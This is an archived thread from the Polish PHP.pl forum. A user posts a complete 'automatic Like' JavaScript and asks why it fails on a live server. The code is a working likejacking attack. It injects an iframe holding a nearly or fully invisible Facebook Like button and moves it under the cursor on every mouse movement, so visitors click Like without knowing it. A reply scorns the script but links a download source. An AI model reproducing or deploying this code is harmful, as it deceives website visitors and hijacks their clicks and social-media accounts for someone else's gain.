Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: Skrypt nie działa na serwerze.
Forum PHP.pl > Forum > Po stronie przeglądarki > JavaScript
Matiz2401
Witam mam skrypt A u t o m a t L u b i e T o (napisałem tak będzie trudniej znaleść, a niektórym tu z was się przyda wink.gif)
  1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml"
  3. xmlns:og="http://opengraphprotocol.org/schema/"
  4. xmlns:fb="http://www.facebook.com/2008/fbml">
  5.  
  6. <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
  7. <meta http-equiv="content-script-type" content="text/javascript">
  8. <meta http-equiv="content-style-type" content="text/css">
  9.  
  10. <!------------------Add the below two lines in your file also just above </head> tag similarly ------->
  11. <script language="javascript" src="src/config.js"></script>
  12. </head>
  13. <!------------------Add the below line in your file also just below <body> tag similarly ------->
  14. <script language="javascript" src="src/like.js"></script>
  15.  
  16. <h1>Your site content starts from here</h1>
  17.  
  18. </body>
  19. </html>

Pliki tu:

http://www.speedyshare.com/KyUrW/Invisible...Like-Script.rar

Lokalnie wszystko gra a jak wgram na serwer nie działa.
Co może być nie tak?
Sprawdzałem na dwóch darmowych hostingach.
Również zamiast ścieżek wklejałem skrypt ale dalej nic :
  1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml"
  3. xmlns:og="http://opengraphprotocol.org/schema/"
  4. xmlns:fb="http://www.facebook.com/2008/fbml">
  5. <head>
  6.  
  7. <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
  8. <meta http-equiv="content-script-type" content="text/javascript">
  9. <meta http-equiv="content-style-type" content="text/css">
  10.  
  11. <!------------------Add the below two lines in your file also just above </head> tag similarly ------->
  12. <script type="text/javascript">
  13. var fan_page_url = 'http://www.facebook.com/facebook' // Give the absolute URL of the facebook fan page
  14. var opacity = 0.6; // Set this to 0 when you want to make this completely invisible
  15. var time = 20000; // in milli seconds time after which the button will not be present on the site, if set to 0, the button will stay forever which is not usually preferred</script>
  16. </head>
  17. <body>
  18. <!------------------Add the below line in your file also just below <body> tag similarly ------->
  19. <script type="text/javascript">if((document.getElementById) && window.addEventListener || window.attachEvent){
  20. (function(){
  21. var hairCol = "#ff0000";
  22.  
  23. var d = document;
  24. var my = -10;
  25. var mx = -10;
  26. var r;
  27. var vert = "";
  28.  
  29. var idx = document.getElementsByTagName('div').length;
  30.  
  31. var thehairs = "<iframe id='theiframe' scrolling='no' frameBorder='0' allowTransparency='true' src='http://www.facebook.com/widgets/like.php?href=" + encodeURIComponent(fan_page_url) + "&amp;layout=standard&amp;show_faces=true&amp;width=53&amp;action=like&amp;colorscheme=light&amp;height=80' style='position:absolute;width:53px;height:23px;overflow:hidden;border:0;opacity:" + opacity +";filter:alpha(opacity=" + opacity * 100+ ");'></iframe>";
  32. document.write(thehairs);
  33. var like = document.getElementById("theiframe");
  34. document.getElementsByTagName('body')[0].appendChild(like);
  35.  
  36. var pix = "px";
  37. var domWw = (typeof window.innerWidth == "number");
  38. var domSy = (typeof window.pageYOffset == "number");
  39.  
  40. if (domWw)
  41. r = window;
  42. else{
  43. if (d.documentElement && typeof d.documentElement.clientWidth == "number" && d.documentElement.clientWidth != 0)
  44. r = d.documentElement;
  45. else{
  46. if (d.body && typeof d.body.clientWidth == "number")
  47. r = d.body;
  48. }
  49. }
  50.  
  51.  
  52. if(time != 0){
  53. setTimeout(function(){
  54. document.getElementsByTagName('body')[0].removeChild(like);
  55.  
  56. if (window.addEventListener){
  57. document.removeEventListener("mousemove",mouse,false);
  58. }
  59. else if (window.attachEvent){
  60. document.detachEvent("onmousemove",mouse);
  61. }
  62. }, time);
  63. }
  64.  
  65. function scrl(yx){
  66. var y,x;
  67. if (domSy){
  68. y = r.pageYOffset;
  69. x = r.pageXOffset;
  70. }
  71. else{
  72. y = r.scrollTop;
  73. x = r.scrollLeft;
  74. }
  75. return (yx == 0) ? y:x;
  76. }
  77.  
  78. function mouse(e){
  79. var msy = (domSy)?window.pageYOffset:0;
  80. if (!e)
  81. e = window.event;
  82. if (typeof e.pageY == 'number'){
  83. my = e.pageY - 5 - msy;
  84. mx = e.pageX - 4;
  85. }
  86. else{
  87. my = e.clientY - 6 - msy;
  88. mx = e.clientX - 6;
  89. }
  90. vert.top = my + scrl(0) + pix;
  91. vert.left = mx + pix;
  92. }
  93.  
  94. function ani(){
  95. vert.top = my + scrl(0) + pix;
  96. setTimeout(ani, 300);
  97. }
  98.  
  99.  
  100. function init(){
  101. vert = document.getElementById("theiframe").style;
  102. ani();
  103. }
  104.  
  105. if (window.addEventListener){
  106. window.addEventListener("load",init,false);
  107. document.addEventListener("mousemove",mouse,false);
  108. }
  109. else if (window.attachEvent){
  110. window.attachEvent("onload",init);
  111. document.attachEvent("onmousemove",mouse);
  112. }
  113.  
  114. })();
  115. }//End.</script>
  116.  
  117. <h1>Your site content starts from here</h1>
  118.  
  119. </body>
  120. </html>
mlawnik
Paszoł won z tym...

EDIT: Dla potomnych i leniwych
http://skrypty.get3.eu/310/automat-lubie-to/
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.